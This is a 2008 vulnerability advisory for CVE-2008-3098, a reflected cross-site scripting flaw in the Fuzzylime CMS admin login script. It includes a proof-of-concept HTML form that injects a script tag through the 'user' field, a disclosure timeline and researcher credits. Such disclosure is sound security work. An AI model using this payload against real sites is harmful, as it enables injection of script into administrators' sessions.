http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3098
http://cms.fuzzylime.co.uk
Fuzzylime (cms) is a way to run websites and keep it up-to-date. Once installed, you can update from any internet-connected PC in the world - you don't even need to know HTML! It has tons of features so whatever you want from your site, chances are this script will be able to do it for you.
Assuming Fuzzylime is installed on http://localhost/fuzzylime/, anybody could inject JavaScript:
<form method="post" action="http://localhost/fuzzylime/admin/usercheck.php"> <input type="hidden" name="log" value="in"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form>
2008-09-10 Vendor contacted
2008-09-20 Vendor released 3.03
2008-09-22 Advisory published
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-3098 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems.
This vulnerability was discovered by Fabian Fingerle (published with help from Hanno Boeck).
It's licensed under the
creative commons attribution license.
Fabian Fingerle, 2008-09-22, http://www.fabian-fingerle.de